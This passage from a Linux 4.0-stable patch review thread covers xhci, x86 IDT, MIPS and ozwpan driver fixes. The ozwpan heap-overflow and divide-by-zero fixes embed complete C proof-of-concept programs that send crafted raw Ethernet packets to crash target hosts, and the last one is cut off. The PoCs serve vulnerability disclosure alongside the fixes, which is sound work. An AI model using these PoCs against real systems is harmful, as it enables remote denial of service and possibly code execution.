@@ -3702,8 +3705,10 @@ int xhci_alloc_dev(struct usb_hcd *hcd,spin_unlock_irqrestore (&xhci->lock, flags);wait_for_completion (command->completion); + slot_id = xhci->slot_id; +mutex_unlock (&xhci->mutex); -if (!xhci->slot_id || command->status !=COMP_SUCCESS ) { +if (!slot_id || command->status !=COMP_SUCCESS ) {xhci_err (xhci,"Error while assigning device slot ID\n" ); xhci_err(xhci, "Max number of devices this xHCI host supports is %u.\n", HCS_MAX_SLOTS(
@@ -3728,11 +3733,11 @@ int xhci_alloc_dev(struct usb_hcd *hcd,* xhci_discover_or_reset_device(), which may be called as part of * mass storage driver error handling. */ -if (!xhci_alloc_virt_device (xhci, xhci->slot_id, udev,GFP_NOIO )) { +if (!xhci_alloc_virt_device (xhci, slot_id, udev,GFP_NOIO )) {xhci_warn (xhci,"Could not allocate xHCI USB device data structures\n" ); goto disable_slot; } - udev->slot_id = xhci->slot_id; + udev->slot_id = slot_id;#ifndef CONFIG_USB_DEFAULT_PERSIST /*
@@ -3778,12 +3783,15 @@ static int xhci_setup_device(struct usb_struct xhci_slot_ctx *slot_ctx;struct xhci_input_control_ctx *ctrl_ctx;u64 temp_64; -struct xhci_command *command; +struct xhci_command *command =NULL ; + +mutex_lock (&xhci->mutex);if (!udev->slot_id) {xhci_dbg_trace (xhci, trace_xhci_dbg_address,"Bad Slot ID %d" , udev->slot_id); -return -EINVAL ; + ret = -EINVAL ; + goto out; } virt_dev = xhci->devs[udev->slot_id];
@@ -3796,7 +3804,8 @@ static int xhci_setup_device(struct usb_*/ xhci_warn (xhci,"Virt dev invalid for slot_id 0x%x!\n" , udev->slot_id); -return -EINVAL ; + ret = -EINVAL ; + goto out; }if (setup ==SETUP_CONTEXT_ONLY ) {
@@ -3804,13 +3813,15 @@ static int xhci_setup_device(struct usb_if (GET_SLOT_STATE (le32_to_cpu (slot_ctx->dev_state)) ==SLOT_STATE_DEFAULT ) {xhci_dbg (xhci,"Slot already in default state\n" ); -return 0 ; + goto out; } } command =xhci_alloc_command (xhci, false, false,GFP_KERNEL ); -if (!command) -return -ENOMEM ; +if (!command) { + ret = -ENOMEM ; + goto out; + } command->in_ctx = virt_dev->in_ctx; command->completion = &xhci->addr_dev;
@@ -3820,8 +3831,8 @@ static int xhci_setup_device(struct usb_if (!ctrl_ctx) {xhci_warn (xhci,"%s: Could not get input context, bad type.\n" , __func__); -kfree (command); -return -EINVAL ; + ret = -EINVAL ; + goto out; }/* * If this is the first Set Address since device plug-in or
@@ -3848,8 +3859,7 @@ static int xhci_setup_device(struct usb_spin_unlock_irqrestore (&xhci->lock, flags);xhci_dbg_trace (xhci, trace_xhci_dbg_address,"FIXME: allocate a command ring segment" ); -kfree (command); -return ret; + goto out; }xhci_ring_cmd_db (xhci);spin_unlock_irqrestore (&xhci->lock, flags);
@@ -3896,10 +3906,8 @@ static int xhci_setup_device(struct usb_ ret = -EINVAL ;break ; } -if (ret) { -kfree (command); -return ret; - } +if (ret) + goto out; temp_64 =xhci_read_64 (xhci, &xhci->op_regs->dcbaa_ptr);xhci_dbg_trace (xhci, trace_xhci_dbg_address,"Op regs DCBAA ptr = %#016llx" , temp_64);
@@ -3932,8 +3940,10 @@ static int xhci_setup_device(struct usb_xhci_dbg_trace (xhci, trace_xhci_dbg_address,"Internal device address = %d" ,le32_to_cpu (slot_ctx->dev_state) &DEV_ADDR_MASK ); +out: +mutex_unlock (&xhci->mutex);kfree (command); -return 0 ; +return ret; }int xhci_address_device (struct usb_hcd *hcd,struct usb_device *udev)
@@ -4855,6 +4865,7 @@ int xhci_gen_setup(struct usb_hcd *hcd,return 0 ; } +mutex_init (&xhci->mutex); xhci->cap_regs = hcd->regs; xhci->op_regs = hcd->regs +HC_LENGTH (readl (&xhci->cap_regs->hc_capbase));
drivers/usb/host/xhci.h +2 -0
@@ -1497,6 +1497,8 @@ struct xhci_hcd {struct list_head lpm_failed_devs;/* slot enabling and address device helpers */ +/* these are not thread safe so use mutex */ +struct mutex mutex;struct completion addr_dev;int slot_id;/* For USB 3.0 LPM enable/disable. */
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 62/105 usb: make module xhci_hcd removable
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Arthur Demchenkov <[email protected]>
commit b04c846ceaad42f9e37f3626c7e8f457603863f0 upstream.
Fixed regression. After commit 29e409f0f761 ("xhci: Allow xHCI drivers to be built as separate modules") the module xhci_hcd became non-removable. That behaviour is not expected and there're no notes about it in commit message. The module should be removable as it blocks PM suspend/resume functions (Debian Bug#666406).
--- drivers/usb/host/xhci.c | 8 ++++++++ 1 file changed, 8 insertions(+)
drivers/usb/host/xhci.c +8 -0
@@ -5022,4 +5022,12 @@ static int __init xhci_hcd_init(void)BUILD_BUG_ON (sizeof (struct xhci_run_regs ) != (8 +8 *128 )*32 /8 );return 0 ; } + +/* +* If an init function is provided, an exit function must also be provided +* to allow module unload. +*/ +static void __exit xhci_hcd_fini(void) { } +module_init (xhci_hcd_init); +module_exit (xhci_hcd_fini);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 63/105 x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Andy Lutomirski <[email protected]>
commit 425be5679fd292a3c36cb1fe423086708a99f11a upstream.
The early_idt_handlers asm code generates an array of entry points spaced nine bytes apart. It's not really clear from that code or from the places that reference it what's going on, and the code only works in the first place because GAS never generates two-byte JMP instructions when jumping to global labels.
Clean up the code to generate the correct array stride (member size) explicitly. This should be considerably more robust against screw-ups, as GAS will warn if a .fill directive has a negative count. Using '. =' to advance would have been even more robust (it would generate an actual error if it tried to move backwards), but it would pad with nulls, confusing anyone who tries to disassemble the code. The new scheme should be much clearer to future readers.
While we're at it, improve the comments and rename the array and common code.
Binutils may start relaxing jumps to non-weak labels. If so, this change will fix our build, and we may need to backport this change.
Before, on x86_64:
0000000000000000 <early_idt_handlers>:
0: 6a 00 pushq $0x0
2: 6a 00 pushq $0x0
4: e9 00 00 00 00 jmpq 9 <early_idt_handlers+0x9>
5: R_X86_64_PC32 early_idt_handler-0x4
...
48: 66 90 xchg %ax,%ax
4a: 6a 08 pushq $0x8
4c: e9 00 00 00 00 jmpq 51 <early_idt_handlers+0x51>
4d: R_X86_64_PC32 early_idt_handler-0x4
...
117: 6a 00 pushq $0x0
119: 6a 1f pushq $0x1f
11b: e9 00 00 00 00 jmpq 120 <early_idt_handler>
11c: R_X86_64_PC32 early_idt_handler-0x4After:
0000000000000000 <early_idt_handler_array>:
0: 6a 00 pushq $0x0
2: 6a 00 pushq $0x0
4: e9 14 01 00 00 jmpq 11d <early_idt_handler_common>
...
48: 6a 08 pushq $0x8
4a: e9 d1 00 00 00 jmpq 120 <early_idt_handler_common>
4f: cc int3
50: cc int3
...
117: 6a 00 pushq $0x0
119: 6a 1f pushq $0x1f
11b: eb 03 jmp 120 <early_idt_handler_common>
11d: cc int3
11e: cc int3
11f: cc int3--- arch/x86/include/asm/segment.h | 15 +++++++++++++-- arch/x86/kernel/head64.c | 2 +- arch/x86/kernel/head_32.S | 33 ++++++++++++++++++--------------- arch/x86/kernel/head_64.S | 20 +++++++++++--------- 4 files changed, 43 insertions(+), 27 deletions(-)
arch/x86/include/asm/segment.h +13 -2
@@ -200,10 +200,21 @@#define TLS_SIZE (GDT_ENTRY_TLS_ENTRIES * 8)#ifdef __KERNEL__ + +/* +* early_idt_handler_array is an array of entry points referenced in the +* early IDT. For simplicity, it's a real array with one entry point +* every nine bytes. That leaves room for an optional 'push $0' if the +* vector has no error code (two bytes), a 'push $vector_number' (two +* bytes), and a jump to the common entry code (up to five bytes). +*/ +#define EARLY_IDT_HANDLER_SIZE 9 +#ifndef __ASSEMBLY__ -extern const char early_idt_handlers[NUM_EXCEPTION_VECTORS ][2 +2 +5 ]; + +extern const char early_idt_handler_array[NUM_EXCEPTION_VECTORS ][EARLY_IDT_HANDLER_SIZE ];#ifdef CONFIG_TRACING -#define trace_early_idt_handlers early_idt_handlers +# define trace_early_idt_handler_array early_idt_handler_array#endif /*
arch/x86/kernel/head64.c +1 -1
@@ -167,7 +167,7 @@ asmlinkage __visible void __init x86_64_clear_bss ();for (i =0 ; i <NUM_EXCEPTION_VECTORS ; i++) -set_intr_gate (i, early_idt_handlers[i]); +set_intr_gate (i, early_idt_handler_array[i]);load_idt ((const struct desc_ptr *)&idt_descr);copy_bootdata (__va (real_mode_data));
arch/x86/kernel/head_32.S +18 -15
@@ -477,21 +477,22 @@ is486: __INIT setup_once: /* - * Set up a idt with 256 entries pointing to ignore_int, - * interrupt gates. It doesn't actually load idt - that needs - * to be done on each CPU. Interrupts are enabled elsewhere, - * when we can be relatively sure everything is ok. + * Set up a idt with 256 interrupt gates that push zero if there + * is no error code and then jump to early_idt_handler_common. + * It doesn't actually load the idt - that needs to be done on + * each CPU. Interrupts are enabled elsewhere, when we can be + * relatively sure everything is ok. */ movl $idt_table,%edi - movl $early_idt_handlers,%eax + movl $early_idt_handler_array,%eax movl $NUM_EXCEPTION_VECTORS,%ecx 1: movl %eax,(%edi) movl %eax,4(%edi) /* interrupt gate, dpl=0, present */ movl $(0x8E000000 + __KERNEL_CS),2(%edi) - addl $9,%eax + addl $EARLY_IDT_HANDLER_SIZE,%eax addl $8,%edi loop 1b
@@ -523,26 +524,28 @@ setup_once: andl $0,setup_once_ref /* Once is enough, thanks */ ret -ENTRY(early_idt_handlers) +ENTRY(early_idt_handler_array) # 36(%esp) %eflags # 32(%esp) %cs # 28(%esp) %eip # 24(%rsp) error code i = 0 .rept NUM_EXCEPTION_VECTORS - .if (EXCEPTION_ERRCODE_MASK >> i) & 1 - ASM_NOP2 - .else + .ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1 pushl $0 # Dummy error code, to make stack frame uniform .endif pushl $i # 20(%esp) Vector number - jmp early_idt_handler + jmp early_idt_handler_common i = i + 1 + .fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc .endr -ENDPROC(early_idt_handlers) +ENDPROC(early_idt_handler_array) - /* This is global to keep gas from relaxing the jumps */ -ENTRY(early_idt_handler) +early_idt_handler_common: + /* + * The stack is the hardware frame, an error code or zero, and the + * vector number. + */ cld cmpl $2,(%esp) # X86_TRAP_NMI
@@ -602,7 +605,7 @@ ex_entry: is_nmi: addl $8,%esp /* drop vector number and error code */ iret -ENDPROC(early_idt_handler) +ENDPROC(early_idt_handler_common) /* This is the default interrupt "handler" :-) */ ALIGN
arch/x86/kernel/head_64.S +11 -9
@@ -321,26 +321,28 @@ bad_address: jmp bad_address __INIT - .globl early_idt_handlers -early_idt_handlers: +ENTRY(early_idt_handler_array) # 104(%rsp) %rflags # 96(%rsp) %cs # 88(%rsp) %rip # 80(%rsp) error code i = 0 .rept NUM_EXCEPTION_VECTORS - .if (EXCEPTION_ERRCODE_MASK >> i) & 1 - ASM_NOP2 - .else + .ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1 pushq $0 # Dummy error code, to make stack frame uniform .endif pushq $i # 72(%rsp) Vector number - jmp early_idt_handler + jmp early_idt_handler_common i = i + 1 + .fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc .endr +ENDPROC(early_idt_handler_array) -/* This is global to keep gas from relaxing the jumps */ -ENTRY(early_idt_handler) +early_idt_handler_common: + /* + * The stack is the hardware frame, an error code or zero, and the + * vector number. + */ cld cmpl $2,(%rsp) # X86_TRAP_NMI
@@ -412,7 +414,7 @@ ENTRY(early_idt_handler) is_nmi: addq $16,%rsp # drop vector number and error code INTERRUPT_RETURN -ENDPROC(early_idt_handler) +ENDPROC(early_idt_handler_common) __INITDATA
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 64/105 ring-buffer-benchmark: Fix the wrong sched_priority of producer
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Wang Long <[email protected]>
commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream.
The producer should be used producer_fifo as its sched_priority, so correct it.
--- kernel/trace/ring_buffer_benchmark.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
kernel/trace/ring_buffer_benchmark.c +1 -1
@@ -450,7 +450,7 @@ static int __init ring_buffer_benchmark_if (producer_fifo >=0 ) {struct sched_param param = { - .sched_priority = consumer_fifo + .sched_priority = producer_fifo };sched_setscheduler (producer,SCHED_FIFO , ¶m); }else
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 65/105 MIPS: ralink: Fix clearing the illegal access interrupt
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jonas Gorski <[email protected]>
commit 9dd6f1c166bc6e7b582f6203f2dc023ec65e3ed5 upstream.
Due to a typo the illegal access interrupt is never cleared in by the interupt handler, causing an effective deadlock on the first illegal access.
This was broken since the code was introduced in 5433acd81e87 ("MIPS:
ralink: add illegal access driver"), but only exposed when the Kconfig symbol was added, thus enabling the code.
Patchwork: https://patchwork.linux-mips.org/patch/10172/
--- arch/mips/ralink/ill_acc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/mips/ralink/ill_acc.c +1 -1
@@ -41,7 +41,7 @@ static irqreturn_t ill_acc_irq_handler(i addr, (type >>ILL_ACC_OFF_S ) &ILL_ACC_OFF_M , type & ILL_ACC_LEN_M); -rt_memc_w32 (REG_ILL_ACC_TYPE ,REG_ILL_ACC_TYPE ); +rt_memc_w32 (ILL_INT_STATUS ,REG_ILL_ACC_TYPE );return IRQ_HANDLED ; }
Greg Kroah-Hartman
maintainerPATCH 66/105 MIPS: Fix enabling of DEBUG_STACKOVERFLOW
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: James Hogan <[email protected]>
commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream.
Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead.
Patchwork: http://patchwork.linux-mips.org/patch/10531/
--- arch/mips/kernel/irq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/mips/kernel/irq.c +1 -1
@@ -109,7 +109,7 @@ void __init init_IRQ(void)#endif } -#ifdef DEBUG_STACKOVERFLOW +#ifdef CONFIG_DEBUG_STACKOVERFLOW static inline void check_stack_overflow (void ) {unsigned long sp;
Greg Kroah-Hartman
maintainerPATCH 67/105 MIPS: KVM: Do not sign extend on unsigned MMIO load
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nicholas Mc Guire <[email protected]>
commit ed9244e6c534612d2b5ae47feab2f55a0d4b4ced upstream.
Fix possible unintended sign extension in unsigned MMIO loads by casting to uint16_t in the case of mmio_needed != 2.
Patchwork: https://patchwork.linux-mips.org/patch/9985/
--- arch/mips/kvm/emulate.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/mips/kvm/emulate.c +1 -1
@@ -2101,7 +2101,7 @@ enum emulation_result kvm_mips_complete_if (vcpu->mmio_needed ==2 ) *gpr = *(int16_t *) run->mmio.data;else - *gpr = *(int16_t *) run->mmio.data; + *gpr = *(uint16_t *)run->mmio.data;break ;case 1 :
Greg Kroah-Hartman
maintainerPATCH 68/105 ozwpan: Use proper check to prevent heap overflow
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: "Jason A. Donenfeld" <[email protected]>
commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.
This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-)
drivers/staging/ozwpan/ozusbsvc1.c +9 -4
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, structcase OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - -sizeof (struct oz_get_desc_rsp ) +1 ; -u16 offs =le16_to_cpu (get_unaligned (&body->offset)); -u16 total_size = +u16 offs, total_size; +u8 data_len; + +if (elt->length <sizeof (struct oz_get_desc_rsp ) -1 ) +break ; + data_len = elt->length - + (sizeof (struct oz_get_desc_rsp ) -1 ); + offs =le16_to_cpu (get_unaligned (&body->offset)); + total_size =le16_to_cpu (get_unaligned (&body->total_size));oz_dbg (ON ,"USB_REQ_GET_DESCRIPTOR - cnf\n" ); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 69/105 ozwpan: Use unsigned ints to prevent heap overflow
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: "Jason A. Donenfeld" <[email protected]>
commit b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c upstream.
Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-)
drivers/staging/ozwpan/ozhcd.c +4 -4
@@ -743,8 +743,8 @@ void oz_hcd_pd_reset(void *hpd, void *hp/* * Context: softirq */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status,const u8 *desc, -int length,int offset,int total_size) +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status,const u8 *desc, +u8 length,u16 offset,u16 total_size) {struct oz_port *port = hport;struct urb *urb;
@@ -756,8 +756,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8if (!urb)return ;if (status ==0 ) { -int copy_len; -int required_size = urb->transfer_buffer_length; +unsigned int copy_len; +unsigned int required_size = urb->transfer_buffer_length;if (required_size > total_size) required_size = total_size;
drivers/staging/ozwpan/ozusbif.h +2 -2
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd)/* Confirmation functions. */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status, -const u8 *desc,int length,int offset,int total_size); +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status, +const u8 *desc,u8 length,u16 offset,u16 total_size);void oz_hcd_control_cnf (void *hport,u8 req_id,u8 rcode,const u8 *data,int data_len);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 70/105 ozwpan: divide-by-zero leading to panic
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: "Jason A. Donenfeld" <[email protected]>
commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
